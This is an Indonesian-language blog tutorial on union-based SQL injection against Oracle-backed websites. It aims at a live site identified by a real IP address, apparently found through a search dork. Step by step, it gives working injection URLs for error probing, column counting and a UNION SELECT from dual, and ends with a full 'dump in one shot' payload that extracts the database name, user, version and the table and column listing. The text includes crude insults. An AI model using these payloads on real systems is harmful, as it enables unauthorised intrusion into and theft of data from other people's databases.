Tutorial SQLi - Type ORACLE

Tutorial SQLi Oracle

Oke gayy yahaha gay :v Canda bang,

Oke kembali lagi bersama gue Aqil atau ./numb_404 ya guys... sesuai judul, materi kali ini yang mau gue share ke kalian adalah web SQLi type Oracle.

Tanpa banyak basa-basi lagi mari kita ke tutorialnya 🙏

BAHAN/PERSIAPAN

• HandPhone/Laptop/Pc》terserah
• Kuota/Wifi
• Dork
• Target
• Dh Hackbar

link Dh Hackbar》DH Hackbar

oke lanjut

dork》site:http://1.244.118.63 php?id=

live target》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825&pagemode=view

dan saya mendapatkan web ini dari chall bang dewangga

oke kita lanjut ke DH Hackbar, lalu salin live targetnya 🙇

LANJUT !

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825&pagemode=view

di atas adalah tampilan awal (index)

<<PERINGATAN>>

Poin Poin Penting Dalam SQLi akan gue jelaskan, tentunya jika kita bertemu dilain hari lagi oke ! 

yups biar paham dan ga salah kaprah

☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆

setelah kita mengetahui indexnya langkah selanjutnya adalah quote atau tanda Petik (')

dibelakang param(angka) kita berikan tanda petik agar kita lihat, adakah yang error dari web tersebut oke next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'&pagemode=view

dan terlihat banyak warning atau error dalam website tersebut, 

seperti yang kita ketahui bahwa tanda petik(') berguna dan berfungsi untuk meng error kan atau melihat error dalam website.

PERINGATAN

tidak semua website mendukung tanda petik atau quote dalam proses injection

setelah kita berikan tanda quote maka langkah selanjutnya adalah memberikan URL BALANCER 

contoh url balancer

• --+-
• -- -
• ;%00
• %23
• --

dan masih banyak lagi...

apa itu url balancer ?

  yups seperti yang saya bilang, saya akan menjelaskan nya dilain hari jadi santai saja ;) next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'--+-&pagemode=view

boom dia terlihat normal, seperti yang kita ketahui url balancer berfungsi untuk menormalkan website yang telah diberikan quote atau tanda petik

dan langkah selanjutnya adalah ORDER BY

order by sendiri iyalah untuk menghitung angka column kalo saya pribadi sih lebih dikatakan untuk mencari angka target atau menghitung angka yang di targetkan

normal》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'ORDER BY 2--+-&pagemode=view

dan  saya mendapatkan target di angka 2, kenapa demikian?

yups karena angka target adalah angka normalnya sebuah website, dan sebelum sebelum errornya sebuah website.

oke saya contohkan hal yang lebih rinci lagi, misalkan saja

NORMAL》php?id=12' ORDER BY 7--+-

ERROR》php?id=12' ORDER BY 8--+-

maka targetnya ada diangka 7 dikarenakan 8 sudah error, seperti yang saya katakan di atas :: lihat tulisan yang berwarna aqua bro.

lanjut ke AND 0 UNION SELECT 

fungsi nya seperti yang saya katakan ketika saya memberikan materi lagi dilain hari maka penjelasannya akan saya bahas

untuk sekarang kita cukup mengetahui kegunaanya》memunculkan angka didalam website, karena disini tema materinya adalah oracle jadi saya langsung ke intinya yaitu jika web type oracle harus menggunakan null, dan null sendiri adalah pengganti dari 1,2,3 next.

 oke next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825'AND 0 UNION SELECT null,null--+-&pagemode=view

loh kok error?? yups makanya lihat judul pantek -_  jangan buta map :v

ingat bahwa yang kita kerjakan adalah type oracle maka tambah 1= didepan 0 dan di akhir (sebelum url balancer)  berikan from dual 

contoh》php?id=12'AND 1=0 UNION SELECT null,null from dual--+-

paham?

next

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select null,null from dual--+-&pagemode=view

terlihat seperti error padahal memang seperti itu adanya, lalu kenapa angkanya tidak keluar?

yups coba print angka atau nama di setiap null yang ada...

》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select './numb_404',null from dual--+-&pagemode=view

terlihat nick saya disana, dikarenakan saya print nick di salah satu null untuk mengetahui angka berapa sebenarnya yang muncul di dalam website.

next》dios.

apa itu dios :: dios artinya dump in one shoot jika di artikan

》translite sendiri lah anj, capek bego :v

oke saya kasih diosnya yaa

dios oracle ::

concat('./numb_404','<IMG Src="https://j.top4top.io/p_20022cdjm0.jpeg" height="190px" width="190px">'||'<br>'||'DB :: '||SYS.DATABASE_name||'<br>'||'USER :: '||user||'<br>'||'VERSION :: '||(SELECT BANNER from V$version where rownum=1)||'<br>'||'<br>'||(select wm_concat('<li>'||table_name||'='||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120))||'<!--'

silahkan tampel di angkat tempat kalian print tadi

jadinya》http://1.244.118.63/BBS/?dataType=FAQ&IDX=8825' and 1=0 union select concat('./numb_404','<IMG Src="https://j.top4top.io/p_20022cdjm0.jpeg" height="190px" width="190px">'||'<br>'||'DB :: '||SYS.DATABASE_name||'<br>'||'USER :: '||user||'<br>'||'VERSION :: '||(SELECT BANNER from V$version where rownum=1)||'<br>'||'<br>'||(select wm_concat('<li>'||table_name||'='||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120))||'<!--',null from dual--+-&pagemode=view

yups selamat coli :v, maksudnya selamat tahun baru

》selamat mencoba (BLOOGG!)

sekian dari saya, saya ./numb_404 ft DEWANGGA ft Katak Beracun (karena webnya bang dewangga dijadiin materi :v)

mengucapkan adios!!! peler bapak kau hitam.